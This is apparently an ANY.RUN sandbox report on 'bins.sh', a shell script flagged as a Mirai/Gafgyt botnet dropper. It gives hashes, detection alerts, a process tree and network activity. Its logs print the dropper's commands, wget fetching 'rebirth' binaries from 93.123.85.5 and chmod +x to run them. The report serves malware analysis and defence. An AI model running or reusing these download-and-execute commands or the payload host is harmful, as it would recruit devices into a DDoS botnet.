File name:

bins.sh

Full analysis: https://app.any.run/tasks/50637fa2-c985-41da-9d79-b07a669ac68d
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: December 14, 2024, 10:45:46
OS: Ubuntu 22.04.2 LTS
Tags:
ddos
gafgyt
botnet
mirai
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

EA40C6FC574CA6806883D693A8AFA0B8

SHA1:

FFA5C5E27F079DA0E2928B589CD629B24541E0F0

SHA256:

D2D1C037DD179C345F4077B9B7EA69ED3CB625EBE7BCDCAD6CE6A086E4719C95

SSDEEP:

48:vlgyFEGlg0/H+clg/ytpLlgIDCqJlHlLLlPl5aHtALlXl/lrlsIlgV7Mrc:vlgyFEGlg0f+clg/ytpLlgIDCQlHlLL6

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • GAFGYT has been detected (SURICATA)

      • rebirth.i686 (PID: 38791)
      • rebirth.x86 (PID: 38827)

    • Connects to the CnC server

      • rebirth.i686 (PID: 38791)
      • rebirth.x86 (PID: 38827)

    • MIRAI has been detected (SURICATA)

      • wget (PID: 38801)
      • rebirth.i686 (PID: 38791)
      • rebirth.x86 (PID: 38827)

  • SUSPICIOUS

    • Connects to the server without a host name

      • wget (PID: 38761)
      • wget (PID: 38768)
      • wget (PID: 38778)
      • wget (PID: 38786)
      • wget (PID: 38773)
      • wget (PID: 38793)
      • wget (PID: 38801)
      • wget (PID: 38806)
      • wget (PID: 38812)
      • wget (PID: 38818)
      • wget (PID: 38823)
      • wget (PID: 38829)
      • wget (PID: 38834)

    • Potential Corporate Privacy Violation

      • wget (PID: 38768)
      • wget (PID: 38773)
      • wget (PID: 38761)
      • wget (PID: 38778)
      • wget (PID: 38786)
      • wget (PID: 38801)
      • wget (PID: 38793)
      • wget (PID: 38806)
      • wget (PID: 38812)
      • wget (PID: 38823)
      • wget (PID: 38829)
      • wget (PID: 38818)

    • Executes commands using command-line interpreter

      • sudo (PID: 38757)

    • Modifies file or directory owner

      • sudo (PID: 38754)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 38759)

    • Uses wget to download content

      • bash (PID: 38759)

    • Contacting a server suspected of hosting an CnC

      • rebirth.i686 (PID: 38791)
      • rebirth.x86 (PID: 38827)

    • Connects to unusual port

      • rebirth.i686 (PID: 38791)
      • rebirth.x86 (PID: 38827)

    • Gets active network interfaces

      • bash (PID: 38759)

    • Reads network configuration

      • bash (PID: 38759)

  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
277
Monitored processes
68
Malicious processes
15
Suspicious processes
7

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs wget dash no specs chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget systemctl no specs systemctl no specs chmod no specs bash no specs rm no specs wget systemctl no specs chmod no specs rebirth.i686 no specs rebirth.i686 no specs rm no specs wget #GAFGYT rebirth.i686 systemctl no specs chmod no specs bash no specs rm no specs #MIRAI wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs wget chmod no specs rebirth.x86 no specs rm no specs wget rebirth.x86 no specs #GAFGYT rebirth.x86 chmod no specs bash no specs rm no specs wget chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
38753/bin/sh -c "sudo chown user /home/user/Desktop/bins\.sh && chmod +x /home/user/Desktop/bins\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bins\.sh "/usr/bin/dash—any-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38754sudo chown user /home/user/Desktop/bins.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38755chown user /home/user/Desktop/bins.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38756chmod +x /home/user/Desktop/bins.sh/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38757sudo -iu user /home/user/Desktop/bins.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38759/bin/bash /home/user/Desktop/bins.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38760/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38761wget http://93.123.85.5/rebirth.arm4/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38762/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown connectivity-change/usr/bin/dash—nm-dispatcher
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38764chmod +x rebirth.arm4/usr/bin/chmod—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
6
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
38761wget/tmp/rebirth.arm4binary
MD5:—
SHA256:—
38768wget/tmp/rebirth.arm4tbinary
MD5:—
SHA256:—
38786wget/tmp/rebirth.i686binary
MD5:—
SHA256:—
38801wget/tmp/rebirth.mipsbinary
MD5:—
SHA256:—
38812wget/tmp/rebirth.ppcbinary
MD5:—
SHA256:—
38818wget/tmp/rebirth.spcbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
37
TCP/UDP connections
25
DNS requests
10
Threats
39

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
—
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
488
NetworkManager
GET
204
185.125.190.49:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
38768
wget
GET
200
93.123.85.5:80
http://93.123.85.5/rebirth.arm4t
unknown
—
—
—
38761
wget
GET
200
93.123.85.5:80
http://93.123.85.5/rebirth.arm4
unknown
—
—
—
38773
wget
GET
200
93.123.85.5:80
http://93.123.85.5/rebirth.arm5
unknown
—
—
—
38778
wget
GET
200
93.123.85.5:80
http://93.123.85.5/rebirth.arm6
unknown
—
—
—
—
—
GET
200
212.102.56.178:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
binary
1.62 Mb
whitelisted
—
—
GET
200
207.211.211.27:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
binary
1.62 Mb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
185.125.190.96:80
—
Canonical Group Limited
GB
unknown
—
—
185.125.190.49:80
—
Canonical Group Limited
GB
unknown
—
—
37.19.194.80:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
38761
wget
93.123.85.5:80
—
Vivacom
BG
unknown
488
NetworkManager
185.125.190.49:80
—
Canonical Group Limited
GB
unknown
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
38768
wget
93.123.85.5:80
—
Vivacom
BG
unknown
512
snapd
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted

DNS requests

Domain
IP
Reputation
odrs.gnome.org
  • 37.19.194.80
  • 195.181.170.19
  • 169.150.255.183
  • 207.211.211.27
  • 169.150.255.180
  • 195.181.175.41
  • 212.102.56.178
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::112
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::18
whitelisted
google.com
  • 142.250.186.110
  • 2a00:1450:4001:82a::200e
whitelisted
api.snapcraft.io
  • 185.125.188.59
  • 185.125.188.54
  • 185.125.188.58
  • 185.125.188.55
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::42
whitelisted
40.100.168.192.in-addr.arpa
  • —
unknown
connectivity-check.ubuntu.com
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::96
  • 2001:67c:1562::23
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::98
  • 2001:67c:1562::24
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::2a
whitelisted

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .arm file File
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .arm file File
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .arm file File
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .i686 File
—
—
Potential Corporate Privacy Violation
ET POLICY Executable and linking format (ELF) file download Over HTTP
—
—
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Gafgyt.DDoS Check-In (Linux Gen.Mirai)
10 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
bins.sh